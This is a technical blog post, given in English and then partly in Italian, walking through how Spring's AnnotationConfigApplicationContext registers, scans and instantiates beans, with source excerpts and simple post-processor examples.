SMC Tech Blog

A detailed analysis of the Spring Core module

Wed, 10 Apr 2024 00:00:00 GMT

Introduction

In this article, we will provide a high-level overview of the Spring Framework, explaining its historical motivations and architectures. We will then proceed to analyze in detail the functioning of its core module known as the Spring Context, we will conclude by indicating some techniques for interacting with it, modifying its behavior at runtime.

Spring Framework
Spring Context
BeanDefinitionRegistry
AnnotatedBeanDefinitionReader e ClassPathBeanDefinitionScanner
Register
Scan
Refresh
BeanFactoryPostProcessor
BeanPostProcessor
ApplicationListener

Spring Framework

Spring represents a family of projects useful for creating Java Enterprise applications, hence it is said to be a modular framework, where each module can be used to address specific needs, allowing developers to focus mainly on business logic by delegating architectural aspects to the framework. Today, it is an essential tool for Java application development, especially in the web domain, and it stands out for its powerful dependency management mechanism. The framework originated in 2003, under the guidance of Rod Johnson, as a response to the complexity of Java Enterprise specifications. Although this might suggest that they are direct competitors, the reality is that these two worlds are complementary. Spring's goal is not to be compliant with Java Enterprise specifications but to integrate with some of them and use them as support for the framework itself. The foundational principles of Spring include allowing developers choice at every level, paying particular attention to backward compatibility, as well as API design to make them as intuitive as possible, and maintaining a high standard of code quality. It's worth noting that the framework has always focused on this aspect, making it one of the most well-documented and self-descriptive software.

Spring Context

The core module of Spring is represented by Spring Context, and its main function is to create applications based on the IoC (Inversion of Control) pattern implemented through DI (Dependency Injection). With this pattern, the control of dependencies and their implementations is no longer the responsibility of the object instances that use them but is delegated to a third-party component provided by the framework, known as a container. This transfer of responsibility allows business objects to not depend on a specific implementation or choose one at runtime, effectively promoting the development of applications in total accordance with SOLID principles. At the heart of this mechanism, as mentioned earlier, is a component known as a container, inside which the so-called "beans" are instantiated and managed for their entire lifecycle. But what are beans really, and how is their creation achieved?

While it is sufficient to say that beans can be either regular POJOs or classes with specific annotations to answer the first question, to provide a detailed answer to the second question, we will delve into the core of the Spring Framework to discover the process through which beans are instantiated and managed. We will focus on the details of the AnnotationConfigApplicationContext class, which represents the cornerstone through which a Spring application can be configured using annotations. Among the main interfaces orchestrating the flow are undoubtedly the BeanDefinitionRegistry, responsible for creating and managing bean definitions, the BeanFactory, responsible for creating and managing beans, and the ApplicationContext, which precisely coordinates the APIs provided by the previous interfaces as well as their implementations.

By extending the GenericApplicationContext class, AnnotationConfigApplicationContext not only implements BeanDefinitionRegistry with the fundamental method registerBeanDefinition(String beanName, BeanDefinition beanDefinition) but also possesses an instance variable of type DefaultListableBeanFactory. It should be noted that GenericApplicationContext, in turn, extends AbstractApplicationContext, which declares the method createEnvironment() that returns an instance of StandardEnvironment based on system properties System.getProperties() and environment System.getEnv(), where the former takes precedence over the latter. Finally, StandardEnvironment extends ApplicationContext, which implements ApplicationEventPublisher and is therefore capable of generating events through the publishEvent(Object event) method.

UML class diagram

BeanDefinitionRegistry

The BeanDefinitionRegistry is an interface that declares several methods for working with BeanDefinitions, including those for registering new ones, retrieving them, and removing them. As mentioned, these methods are implemented within GenericApplicationContext through the methods provided by DefaultListableBeanFactory, which in turn implements this interface.

A BeanDefinition describes a class declared as a bean, including some information such as:

beanClass, representing the fully qualified class name
scope defaulting to singleton
initMethodName
destroyMethodName
qualifiers if specified through annotations
source representing the path to the .class file
metadata representing an object of type SimpleAnnotationMetadata containing metadata of declared methods, and possibly superclass

AnnotatedBeanDefinitionReader e ClassPathBeanDefinitionScanner

We can instantiate an AnnotationConfigApplicationContext in two different ways. The first approach involves passing a list of component classes directly to the constructor. By component, we mean any specialization of the @Component annotation (@Service, @Configuration, @Controller, etc.).

public AnnotationConfigApplicationContext(Class<?>... componentClasses) {
  this();
  register(componentClasses);
  refresh();
}

The second approach involves passing a list of basePackages to the constructor. In this way, all classes in the specified packages and their sub-packages will be scanned.

public AnnotationConfigApplicationContext(String... basePackages) {
  this();
  scan(basePackages);
  refresh();
}

In both cases, the first instruction is to invoke the parameterless constructor, where instances of AnnotatedBeanDefinitionReader and ClassPathBeanDefinitionScanner are instantiated. These two objects require a BeanDefinitionRegistry to be instantiated, which in this case will be the instance of AnnotationConfigApplicationContext itself.

public AnnotationConfigApplicationContext() {
  ...
  this.reader = new AnnotatedBeanDefinitionReader(this);
  ...
  this.scanner = new ClassPathBeanDefinitionScanner(this);
}

In a simple Spring application with only the spring-context dependency, when the reader is instantiated, default BeanDefinitions are added to the BeanDefinitionRegistry through the registerAnnotationConfigProcessors() method of the AnnotationConfigUtils class, called in the constructor of the reader itself. These definitions represent the following classes:

ConfigurationClassPostProcessor used to process classes annotated with @Configuration. Registered by default when annotation-based configuration is enabled.
DefaultEventListenerFactory used to support the @EventListener annotation
EventListenerMethodProcessor used to register methods annotated with @EventListener as instances of ApplicationListener
AutowiredAnnotationBeanPostProcessor used to support autowiring via constructor, methods, and fields.

Register

As seen earlier in the first approach, when we pass a list of componentClasses, the register(componentClasses) method of the AnnotatedBeanDefinitionReader class will be invoked.

@Override
public void register(Class<?>... componentClasses) {
	...
	this.reader.register(componentClasses);
	...
}

Within this flow, the BeanDefinitions will be registered. The process begins with iterating through the list of classes provided as input, each of which is a potential candidate to become a bean.

public void register(Class<?>... componentClasses) {
		for (Class<?> componentClass : componentClasses) {
         registerBean(componentClass);
    }
}

To start the transformation process, inside the doRegisterBean() method, an AnnotatedGenericBeanDefinition is instantiated. Key parameters for the AnnotatedGenericBeanDefinition are configured, such as its scope and name, if not explicitly provided. The scope defines the lifecycle and visibility of a bean managed by the Spring container. There are different types of scopes, each determining how the bean is instantiated and maintained within the application. Here are some of the most common scopes:

Singleton: This is the default scope. Spring creates a single instance of the bean for the application and keeps it in memory. All requests for that bean will always return the same instance.
Prototype: Spring creates a new instance of the bean each time it is requested, so each request will return a separate instance of the bean.
Request: The bean exists only within the lifecycle of a single HTTP request. A new bean is created for each HTTP request and destroyed at the end of the request.
Session: The bean exists within the lifecycle of a single user session. A new bean is created for each user session and destroyed at the end of the session.

After setting the scope, common annotations like Primary, Fallback, Role, Lazy, Description, and DependsOn are interpreted and applied through the processCommonDefinitionAnnotations() method.

private <T> void doRegisterBean(Class<T> beanClass, ...) {

    AnnotatedGenericBeanDefinition abd = new AnnotatedGenericBeanDefinition(beanClass);
    ...
    abd.setScope(scopeMetadata.getScopeName());
    String beanName = (name != null ? name : this.beanNameGenerator.generateBeanName(abd, this.registry));
    AnnotationConfigUtils.processCommonDefinitionAnnotations(abd);
	...
    BeanDefinitionHolder definitionHolder = new BeanDefinitionHolder(abd, beanName);
    BeanDefinitionReaderUtils.registerBeanDefinition(definitionHolder, this.registry);
}

Once the preparation phase is completed, a BeanDefinitionHolder is instantiated. Finally, the definition is officially registered through the registerBeanDefinition() method.

Scan

When an AnnotationConfigApplicationContext is instantiated by passing an array of strings representing the base packages to the constructor, the situation will be similar.

@Override
public void scan(String... basePackages) {
    ...
    this.scanner.scan(basePackages);
    ...
}

When the ApplicationContext is instantiated, the doScan(basePackages) method of the ClassPathBeanDefinitionScanner class will be invoked, in which we scan all the potential beanDefinitions within each basePackage. Inside it, the findCandidateComponents(basePackage) method is called, which, starting from an array of strings representing the basePackages, initially constructs an array of Resource, each of which points to the classes in the packages, from which an array of BeanDefinitions will be created. For each of these, we set the scope and beanName. Subsequently, as already seen in the flow of register(), we invoke the processCommonDefinitionAnnotations() method of the AnnotationConfigUtils class where the aforementioned common annotations are interpreted and applied to the BeanDefinition.

Afterward, there will be a checkCandidate for each candidate that will check, among other things, that the registry does not already contain that definition. Once the definition is checked, it will be registered within the beanFactory.

protected Set<BeanDefinitionHolder> doScan(String... basePackages) {
    ...
    Set<BeanDefinitionHolder> beanDefinitions = new LinkedHashSet<>();
    for (String basePackage : basePackages) {
        Set<BeanDefinition> candidates = findCandidateComponents(basePackage);
        for (BeanDefinition candidate : candidates) {
            ...
            candidate.setScope(scopeMetadata.getScopeName());
            String beanName = this.beanNameGenerator.generateBeanName(candidate, this.registry);
            ...
            if (checkCandidate(beanName, candidate)) {
                BeanDefinitionHolder definitionHolder = new BeanDefinitionHolder(candidate, beanName);
                beanDefinitions.add(definitionHolder);
                registerBeanDefinition(definitionHolder, this.registry);
            }
        }
    }
    return beanDefinitions;
}

Refresh

Once all the definitions are registered through one of the two flows described above, we land on the refresh() method. Within this method, the actual creation of the beans occurs.

This process is characterized by several steps. Initially, the beanFactory is retrieved through the obtainFreshBeanFactory() method. Once obtained, we enter the invokeBeanFactoryPostProcessors(beanFactory) method, which will call its namesake in PostProcessorRegistrationDelegate.

@Override
public void refresh() throws BeansException, IllegalStateException {
    ...
    try {
        ...
        ConfigurableListableBeanFactory beanFactory = obtainFreshBeanFactory();
        ...
        try {
            ...
            invokeBeanFactoryPostProcessors(beanFactory);
            registerBeanPostProcessors(beanFactory);
            ...
            finishBeanFactoryInitialization(beanFactory);
            finishRefresh();
            ...
        }
    }
}

BeanFactoryPostProcessor

In the PostProcessorRegistrationDelegate.invokeBeanFactoryPostProcessors() method, BeanFactoryPostProcessors will be instantiated, which are special beans through which you can modify the BeanDefinitions previously registered. For example, they can be used for various critical tasks such as configuring global properties, resolving dependencies, or dynamically adding definitions to the context.

It's important to note that BeanFactoryPostProcessors implement the functional interface BeanFactoryPostProcessor, thus defining a precise contract for manipulating the application context configuration. You can establish priorities among different BeanFactoryPostProcessors, for example, by using the PriorityOrdered interface to manage the order of configurations. This ensures careful handling of dependencies and properties in the application environment.

public class FactoryPostProcessor implements BeanFactoryPostProcessor, PriorityOrdered {

    @Override
    public void postProcessBeanFactory(ConfigurableListableBeanFactory beanFactory) throws BeansException {
        System.out.println(Arrays.toString(beanFactory.getBeanDefinitionNames()));
    }

    @Override
    public int getOrder() {return 0; }
}

BeanPostProcessor

After instantiating and invoking the BeanFactoryPostProcessors, Spring will also handle the instantiation of BeanPostProcessors, which implement the BeanPostProcessor interface and, unlike BeanFactoryPostProcessors, act at the level of each individual bean after it has been instantiated. This happens within the registerBeanPostProcessors() method.

You can declare BeanPostProcessors and BeanFactoryPostProcessors as static to force Spring to initialize them before any other bean. To better understand, consider an example of declaring a BeanPostProcessor:

public class Processor implements BeanPostProcessor {

    @Override
    public Object postProcessBeforeInitialization(Object bean, String beanName) throws BeansException {
        System.out.println(bean.getClass().getName()+" Before callback");
        return bean;
    }

    @Override
    public Object postProcessAfterInitialization(Object bean, String beanName) throws BeansException {
        System.out.println(bean.getClass().getName()+" After callback");
        return bean;
    }
}

In this example, consider defining a BeanPostProcessor that adjusts the desired behavior of beans after the initialization phase, but before or after the execution of initialization callbacks (afterPropertySet() and init-method). This allows for dynamicizing and modifying the final instance of the bean, enabling detailed customization of its properties and behaviors. It's important to emphasize that the application of such a BeanPostProcessor occurs only after the bean has been created.

Finally, the phase of instantiating other beans, which constitute the main components of the application (annotated with @Component, @Service, @Repository, etc.), always occurs within the refresh method, more precisely in the finishBeanFactoryInitialization() method.

The process starts with the invocation of the doGetBean() method of the AnnotationConfigApplicationContext's beanFactory.

protected <T> T doGetBean(
        String name, @Nullable Class<T> requiredType, @Nullable Object[] args, boolean typeCheckOnly)
        throws BeansException {

    String beanName = transformedBeanName(name);
    ...
    RootBeanDefinition mbd = getMergedLocalBeanDefinition(beanName);
    ...
    return createBean(beanName, mbd, args);
  }
  ...
}

Within the createBean() method lies the heart of the process. In the method, defined in the AbstractAutowireCapableBeanFactory class, the doCreateBean() method is called. In this phase, a preliminary check is made to see if the bean to be instantiated is a singleton and if it is already present in the singleton bean cache. If it's not in the cache, the createBeanInstance() method of the AbstractAutowireCapableBeanFactory class is called to handle the creation of the bean. Here, the actual instantiation process occurs using the instantiateUsingFactoryMethod() method of the ConstructorResolver class.

If we're using constructor dependency injection, this is where dependencies are imported into the returned wrapper instance. On the other hand, if we're using the @Autowired annotation for dependency injection, the process is slightly different. Dependencies will be initialized in the populateBean() method of the AbstractAutowireCapableBeanFactory class, more precisely within the postprocessProperty() method. This latter method, in turn, invokes doResolveDependency() to resolve the required dependencies.

Once the populateBean() method is finished, the initializeBean() method of the AbstractAutowireCapableBeanFactory class is called, taking the BeanName and the previously created bean instance. This will be the method responsible for applying the BeanPostProcessors in order to dynamicize and modify the final instance of the bean.

After invoking initializeBean(), two phases are activated that define the behavior of the newly initialized bean:

applyBeanPostProcessorsBeforeInitialization: This method applies the BeanPostProcessors by acting according to the logic defined in the postProcessBeforeInitialization() method. Here, the BeanPostProcessors have the opportunity to manipulate and customize the bean before the so-called initialization callbacks such as afterPropertySet() and any custom init-method are executed.

@Nullable
protected Object applyBeanPostProcessorsBeforeInstantiation(Class<?> beanClass, String beanName) {
    for (InstantiationAwareBeanPostProcessor bp : getBeanPostProcessorCache().instantiationAware) {
       Object result = bp.postProcessBeforeInstantiation(beanClass, beanName);
       if (result != null) {
          return result;
       }
    }
    return null;
}

applyBeanPostProcessorsAfterInitialization: In this phase, the BeanPostProcessors operate based on the logic contained in the postProcessAfterInitialization() method. Here, the BeanPostProcessors intervene following the aforementioned callbacks.

@Override
public Object applyBeanPostProcessorsAfterInitialization(Object existingBean, String beanName)
       throws BeansException {

    Object result = existingBean;
    for (BeanPostProcessor processor : getBeanPostProcessors()) {
       Object current = processor.postProcessAfterInitialization(result, beanName);
       if (current == null) {
          return result;
       }
       result = current;
    }
    return result;
}

Finally, once all beans have been initialized with their dependencies, and the BeanPostProcessors have been applied, the refresh flow concludes with the finishRefresh() method. This method performs a series of essential operations:

It begins by cleaning the caches and initializing the LifecycleProcessor, which implements the onRefresh() and onClose() methods managing the two phases.
Subsequently, it notifies the LifecycleProcessor of the completed refresh of the applicationContext.
Finally, it publishes a ContextRefreshedEvent, signaling that the context is now fully initialized and ready for use.

In summary, finishRefresh() is the endpoint that ensures the context is ready and operational after the refresh.

ApplicationListener

After discussing the importance of BeanFactoryPostProcessor and BeanPostProcessor in the initialization and manipulation of beans within the application, it is important to also explore the role of ApplicationListener<E extends ApplicationEvent>. These provide a mechanism for event handling, allowing for the definition of specific actions to be executed in response to events such as application startup, shutdown, refresh, or closure.

Below is a list of possible specializations of ApplicationEvent:

ApplicationContextEvent: Every application context event.
ContextClosedEvent: Application shutdown.
ContextRefreshedEvent: Application context refresh.
ContextStartedEvent: Application startup.
ContextStoppedEvent: Application interruption.
PayloadApplicationEvent: Sending customized payloads with events.

public class CustomApplicationListener implements ApplicationListener<ApplicationContextEvent> {

    @Override
    public void onApplicationEvent(ApplicationContextEvent event) {
        System.out.println(event.getClass() + " Event Class");
    }
}

Thus, the use of ApplicationListener adds an additional layer of customization and control over the application's behavior in response to events occurring during its execution.

Conclusion

In conclusion, we have explored in detail the internal process of bean creation within the Spring framework. From when we instantiate an AnnotationConfigApplicationContext to the completion of the finishRefresh() method, we have analyzed every critical phase of the bean lifecycle and the bean factory, and how to interact at runtime with these two essential components respectively through BeanPostProcessors and BeanFactoryPostProcessors.

We have seen how Spring handles the registration of beans through annotation reading, class and package scanning, and finally how it completes the initialization process, ensuring that the context is fully ready for use.

This deep dive has provided us with a comprehensive overview of how Spring's internal workings and helped us better understand how this powerful and flexible framework implements the IoC pattern through dependency management and bean creation in Java applications.

Un'analisi dettagliata del modulo Core di Spring

Wed, 10 Apr 2024 00:00:00 GMT

Introduzione

In questo articolo forniremo, dapprima, una visione di alto livello di Spring Framework, spiegandone motivazioni storiche e architetture. Andremo poi ad analizzare nel dettaglio il funzionamento di quello che è il suo modulo core noto come spring context, concluderemo indicando alcune tecniche per poter interagire con quest’ultimo modificandone il comportamento a runtime.

Sommario

Spring Framework
Spring Context
BeanDefinitionRegistry
AnnotatedBeanDefinitionReader e ClassPathBeanDefinitionScanner
Register
Scan
Refresh
BeanFactoryPostProcessor
BeanPostProcessor
ApplicationListener

Spring Framework

Spring rappresenta una famiglia di progetti utili a creare applicazioni Java Enteprise, per questo si dice essere un framework modulare, dove ogni modulo può essere utilizzato per rispondere a determinate esigenze consentendo agli sviluppatori di concentrarsi principalmente sulla logica di business delegando al framework quelli che sono aspetti tipicamente più architetturali. Ad oggi esso rappresenta uno strumento essenziale per lo sviluppo di applicazioni Java specialmente in ambito web e si distingue per il suo potente meccanismo di gestione delle dipendenze. Il framework nasce nel 2003, sotto la guida di Rod Johnson, come risposta alla complessità delle specifiche Java Enterprise. Sebbene questo possa far pensare che essi siano diretti competitor, la realtà è che questi due mondi sono complementari, l’obiettivo di Spring non è, infatti, essere compliant con le specifiche Java Enterprise quanto integrarsi con alcune di esse e utilizzarle come supporto per il framework stesso. I principi fondanti di Spring sono senz’altro la possibilità di lasciare agli sviluppatori la scelta ad ogni livello, porre particolare attenzione alla retro compatibilità nonché al design delle API cercando di renderle il più intuitive possibile, e mantenere uno standard elevato in ambito della qualità del codice. Su quest’ultimo punto va sottolineato come il framework abbia sempre rivolto particolare attenzione a questo aspetto rendendolo uno tra i software maggiormente documentato e autodescrittivo.

Spring Context

Il modulo core di Spring è rappresentanto da spring-context e la sua funzione principale è quella di creare applicazioni basate sul pattern IoC (Inversion of Control) implementato tramite DI (Dependency Injection). Con questo pattern il controllo delle dipendenze e delle loro implementazioni non è più a carico delle istanze di oggetti che le utilizzano ma viene delegato ad un componente terzo, messo a disposizione dal framework, noto come container. Questo trasferimento di responsabilità consente agli oggetti di business di non dover dipendere da una specifica implementazione né di doverne scegliere una a runtime favorendo di fatto lo sviluppo di applicazioni nel totale rispetto dei principi SOLID. Al centro di questo meccanismo, come già detto, troviamo un componente noto come container al cui interno vengono istanziati e gestiti per il loro intero ciclo di vita i cosidetti "bean". Ma cosa sono realmente i bean e come avviene la loro creazione?

Se per la prima domanda è sufficiente dire che i bean possono sia essere comuni POJO che classi con specifiche annotazioni, per dare una risposta dettagliata alla seconda domanda andremo ad analizzare il cuore di Spring Framework per scoprirne il processo tramite il quale i bean vengono istanziati e gestiti. Ci concentreremo sui dettagli della classe AnnotationConfigApplicationContext che rappresenta il pilastro tramite il quale è possibile configurare un'applicazione Spring utilizzando le annotazioni. Tra le interfacce principali che orchestrano il flusso rientrano senz’altro il BeanDefinitionRegistry, responsabile della creazione e gestione delle definizioni dei bean, la BeanFactory, responsabile della creazione e gestione dei bean e l’ApplicationContext che coordina in maniera puntuale le API fornite dalle interfacce precedenti nonché delle loro implementazioni.

Estendendo la classe GenericApplicationContext, AnnotationConfigApplicationContext non solo implementa BeanDefinitionRegistry con il metodo fondamentale registerBeanDefinition(String beanName, BeanDefinition beanDefinition) ma possiede anche una variabile d’istanza di tipo DefaultListableBeanFactory. Va sottolineato che GenericApplicationContext estende a sua volta AbstractApplicationContext che dichiara il metodo createEnvironment() che ritorna un'istanza di StandardEnvironment basato su properties di sistema System.getProperties() e di ambiente System.getEnv() dove le prime hanno la precedenza sulle seconde. Quest'ultimo estende, infine ApplicationContext che implementa ApplicationEventPublisher ed è quindi in grado di generare eventi tramite il metodo publishEvent(Object event)

UML class diagram

BeanDefinitionRegistry

Il BeanDefinitionRegistry è un'interfaccia che dichiara alcuni metodi per lavorare con le BeanDefinition tra cui quelli per registrarne di nuove, recuperarle e rimuoverle. Come già detto questi metodi sono implementati all'interno di GenericApplicationContext tramite i metodi forniti da DefaultListableBeanFactory che implementa a sua volta questa interfaccia.

Una BeanDefinition descrive una classe dichiarata come bean, tramite alcune informazioni tra cui:

beanClass che rappresenta il nome comprensivo di package della classe
scope singleton di default
initMethodName
destroyMethodName
qualifiers se vengono indicati tramite annotation
source che rappresenta il percorso al file .class
metadata che rappresenta un oggetto di tipo SimpleAnnotationMetadata con al suo interno, ad esempio, i metadati dei metodi dichiarati, ed eventuale super classe

AnnotatedBeanDefinitionReader e ClassPathBeanDefinitionScanner

Possiamo istanziare un AnnotationConfigApplicationContext in due modi distinti. Il primo approccio consiste nel passare una lista di classi di componenti direttamente al costruttore. Per componente si intende una qualunque specializzazione dell’annotazione @Component (@Service, @Configuration, @Controller etc.)

public AnnotationConfigApplicationContext(Class<?>... componentClasses) {
  this();
  register(componentClasses);
  refresh();
}

Il secondo approccio prevede il passaggio di una lista di basePackages al costruttore. In questo modo verrà effettuata una scansione di tutte le classi dei packages e dei loro sub-packages.

public AnnotationConfigApplicationContext(String... basePackages) {
  this();
  scan(basePackages);
  refresh();
}

In entrambi i casi come prima istruzione viene invocato il costruttore senza parametri dove vengono istanziati un AnnotatedBeanDefinitionReader e uno ClassPathBeanDefinitionScanner. Questi due oggetti per essere istanziati necessitano di un BeanDefinitionRegistry che in questo caso sarà l’istanza stessa di AnnotationConfigApplicationContext.

public AnnotationConfigApplicationContext() {
  ...
  this.reader = new AnnotatedBeanDefinitionReader(this);
  ...
  this.scanner = new ClassPathBeanDefinitionScanner(this);
}

In una semplice applicazione spring con la sola dipendenza spring-context nel momento in cui viene istanziato il reader vengono aggiunte delle BeanDefinition di default al BeanDefinitioRegistry attraverso il metodo registerAnnotationConfigProcessors() della classe AnnotationConfigUtils richiamato nel costruttore del reader stesso. Tali definizioni rappresentano le seguenti classi:

ConfigurationClassPostProcessor usata per processare le classi annotate con @Configuration. Registrata di default quando viene abilitata la configurazione basata su annotazioni.
DefaultEventListenerFactory usata per supportare l'annotazione @EventListener
EventListenerMethodProcessor usata per registrare i metodi annotati con @EventListener come istanze di ApplicationListener
AutowiredAnnotationBeanPostProcessor usata per supportare l'autowired tramite costruttore, metodi e variabili

Register

Come visto in precedenza nel primo approccio, quando passiamo una lista di componentClasses, verrà invocato il metodo register(componentClasses) della classe AnnotatedBeanDefinitionReader.

@Override
public void register(Class<?>... componentClasses) {
	...
	this.reader.register(componentClasses);
	...
}

All’interno di questo flusso avverrà la registrazione delle BeanDefinition. Il processo inizia con l'iterazione attraverso la lista di classi fornite come input, ognuna delle quali è un potenziale candidato per diventare un bean.

public void register(Class<?>... componentClasses) {
		for (Class<?> componentClass : componentClasses) {
         registerBean(componentClass);
    }
}

Per iniziare il processo di trasformazione, all’interno del metodo doRegisterBean(), viene istanziato un AnnotatedGenericBeanDefinition. vengono configurati parametri chiave per l'AnnotatedGenericBeanDefinition, come il suo scope e il nome, se non forniti esplicitamente. Lo scope definisce il ciclo di vita e la visibilità di un bean gestito dal container Spring. Ci sono diversi tipi di scope, ognuno dei quali determina come viene istanziato e mantenuto il bean all'interno dell'applicazione. Ecco alcuni degli scope più comuni:

Singleton: È lo scope predefinito. Spring crea una singola istanza del bean per l'applicazione e la mantiene in memoria. Tutte le richieste per quel bean restituiranno sempre la stessa istanza.
Prototype: Spring crea una nuova istanza del bean ogni volta che viene richiesto, quindi ogni richiesta restituirà un'istanza separata del bean.
Request: Il bean esiste solo all'interno del ciclo di vita di una singola richiesta HTTP. Viene creato un nuovo bean per ogni richiesta HTTP e distrutto alla fine della richiesta.
Session: Il bean esiste all'interno del ciclo di vita di una singola sessione utente. Viene creato un nuovo bean per ogni sessione utente e distrutto alla fine della sessione.

Dopo aver impostato lo scope, attraverso il metodo processCommonDefinitionAnnotations(), vengono interpretate e applicate annotazioni comuni come Primary, Fallback, Role, Lazy, Description e DependsOn.

private <T> void doRegisterBean(Class<T> beanClass, ...) {

    AnnotatedGenericBeanDefinition abd = new AnnotatedGenericBeanDefinition(beanClass);
    ...
    abd.setScope(scopeMetadata.getScopeName());
    String beanName = (name != null ? name : this.beanNameGenerator.generateBeanName(abd, this.registry));
    AnnotationConfigUtils.processCommonDefinitionAnnotations(abd);
	...
    BeanDefinitionHolder definitionHolder = new BeanDefinitionHolder(abd, beanName);
    BeanDefinitionReaderUtils.registerBeanDefinition(definitionHolder, this.registry);
}

Una volta completata la fase di preparazione, viene istanziato un BeanDefinitionHolder. Infine, la definizione viene ufficialmente registrata tramite il metodo registerBeanDefinition().

Scan

Quando verrà istanziato AnnotationConfigApplicationContext passando al costruttore un array di stringhe che rappresentano i base packages, la situazione sarà analoga.

@Override
public void scan(String... basePackages) {
    ...
    this.scanner.scan(basePackages);
    ...
}

Quando viene istanziato l’ApplicationContext verrà invocato il metodo doScan(basePackages) della classe ClassPathBeanDefinitionScanner, in cui scannerizziamo tutti gli ipotetici beanDefinition all'interno di ogni basePackage. Al suo interno verrà invocato il metodo findCandidateComponents(basePackage), il quale a partire da un array di stringhe rappresentanti i basePackages, costruisce inizialmente un array di Resource ognuna delle quali punterà alle classi presenti nei packages, e a partira dal quale verrà crato un array di BeanDefinition. Per ognuna di esse settiamo lo scope e il beanName. In seguito come già visto nel flusso del register(), invochiamo il metodo processCommonDefinitionAnnotations() della classe AnnotationConfigUtils dove verranno intepretate e applicate ala BeanDefinition le annotazioni comuni sopra citate.

Successivamente ci sara un checkCandidate per ogni candidato che controllerà, tra l'altro, che il registry non contenga già quella definizione. Una volta controllata la definizione verrà registrata all'interno della beanFactory.

protected Set<BeanDefinitionHolder> doScan(String... basePackages) {
    ...
    Set<BeanDefinitionHolder> beanDefinitions = new LinkedHashSet<>();
    for (String basePackage : basePackages) {
        Set<BeanDefinition> candidates = findCandidateComponents(basePackage);
        for (BeanDefinition candidate : candidates) {
            ...
            candidate.setScope(scopeMetadata.getScopeName());
            String beanName = this.beanNameGenerator.generateBeanName(candidate, this.registry);
            ...
            if (checkCandidate(beanName, candidate)) {
                BeanDefinitionHolder definitionHolder = new BeanDefinitionHolder(candidate, beanName);
                beanDefinitions.add(definitionHolder);
                registerBeanDefinition(definitionHolder, this.registry);
            }
        }
    }
    return beanDefinitions;
}

Refresh

Una volta registrate tutte le definizioni tramite uno dei due flussi sopra descritti, atterriamo sul metodo refresh(). All'interno di questo metodo avverrà la creazione effettiva dei bean.

Questo processo è caratterizzato da diversi passaggi. Inizialmente viene recuperata la beanFactory tramite il metodo obtainFreshBeanFactory(), una volta ottenuta entriamo nel metodo invokeBeanFactoryPostProcessors(beanFactory) che chiamerà il suo omonimo in PostProcessorRegistrationDelegate.

@Override
public void refresh() throws BeansException, IllegalStateException {
    ...
    try {
        ...
        ConfigurableListableBeanFactory beanFactory = obtainFreshBeanFactory();
        ...
        try {
            ...
            invokeBeanFactoryPostProcessors(beanFactory);
            registerBeanPostProcessors(beanFactory);
            ...
            finishBeanFactoryInitialization(beanFactory);
            finishRefresh();
            ...
        }
    }
}

BeanFactoryPostProcessor

Nel metodo PostProcessorRegistrationDelegate.invokeBeanFactoryPostProcessors() verranno istanziati i BeanFactoryPostProcessor, che sono bean particolari tramite i quali è possibile modifcare le BeanDefinition precedentemente registrate. Ad esempio, possono essere impiegati per svariati compiti critici. Uno dei ruoli principali è la configurazione di proprietà globali, la risoluzione delle dipendenze o l’aggiunta di definizioni al contesto in modo dinamico.

È importante notare che i beanFactoryPostProcessor implementano l'interfaccia funzionale BeanFactoryPostProcessor, definendo così un contratto ben preciso per la manipolazione della configurazione del contesto dell'applicazione. È possibile stabilire priorità tra diversi beanFactoryPostProcessor, ad esempio utilizzando l'interfaccia PriorityOrdered, per gestire l'ordine delle configurazioni. Ciò garantisce una gestione accurata delle dipendenze e delle proprietà nell'ambiente dell'applicazione.

public class FactoryPostProcessor implements BeanFactoryPostProcessor, PriorityOrdered {

    @Override
    public void postProcessBeanFactory(ConfigurableListableBeanFactory beanFactory) throws BeansException {
        System.out.println(Arrays.toString(beanFactory.getBeanDefinitionNames()));
    }

    @Override
    public int getOrder() {return 0; }
}

BeanPostProcessor

Dopo aver istanziato e invocato i beanFactoryPostProcessor, Spring si occuperà di istanziare anche i BeanPostProcessor, che implementano l’interfaccia BeanPostProcessor e che a differenza dei beanFactoryPostProcessor agiscono a livello di ogni singolo bean dopo che esso è stato istanziato. Ciò avviene all’interno del metodo registerBeanPostProcessors().

È possibile dichiarare static i beanPostProcessor e i beanFactoryPostProcessor, in modo da forzare Spring a inizializzarli prima di ogni altro bean. Per comprendere meglio, consideriamo un esempio di dichiarazione di un BeanPostProcessor:

public class Processor implements BeanPostProcessor {

    @Override
    public Object postProcessBeforeInitialization(Object bean, String beanName) throws BeansException {
        System.out.println(bean.getClass().getName()+" Before callback");
        return bean;
    }

    @Override
    public Object postProcessAfterInitialization(Object bean, String beanName) throws BeansException {
        System.out.println(bean.getClass().getName()+" After callback");
        return bean;
    }
}

In questo esempio, consideriamo la definizione di un BeanPostProcessor che regola il comportamento desiderato dei bean dopo la fase di inizializzazione, ma prima o dopo l'esecuzione delle callbacks di inizializzazione (afterPropertySet() e init-method). Questo permette di dinamicizzare e modificare l'istanza finale del bean, consentendo una personalizzazione dettagliata delle sue proprietà e comportamenti. È importante sottolineare che l'applicazione di tale BeanPostProcessor avviene solo successivamente alla creazione del bean.

Infine, la fase di istanziazione degli altri bean, che costituiscono le componenti principali dell'applicazione (annotati con @Component, @Service, @Repository, ecc.), avviene sempre all'interno del metodo refresh, più precisamente nel metodo finishBeanFactoryInitialization()

Il processo inizia con l'invocazione del metodo doGetBean() della beanFactory di AnnotationConfigApplicationContext

protected <T> T doGetBean(
        String name, @Nullable Class<T> requiredType, @Nullable Object[] args, boolean typeCheckOnly)
        throws BeansException {

    String beanName = transformedBeanName(name);
    ...
    RootBeanDefinition mbd = getMergedLocalBeanDefinition(beanName);
    ...
    return createBean(beanName, mbd, args);
  }
  ...
}

All'interno del metodo createBean() si trova il cuore del processo. Nel metodo, definito nella classe AbstractAutowireCapableBeanFactory, viene richiamato il metodo doCreateBean(). In questa fase, viene effettuato un controllo preliminare per verificare se il bean da istanziare è un singleton e se è già presente nella cache dei bean singleton. Se non è presente nella cache, il metodo createBeanInstance() della classe AbstractAutowireCapableBeanFactory viene chiamato per gestire la creazione del bean. Qui, avviene il processo di istanziazione effettiva utilizzando il metodo instantiateUsingFactoryMethod() della classe ConstructorResolver.

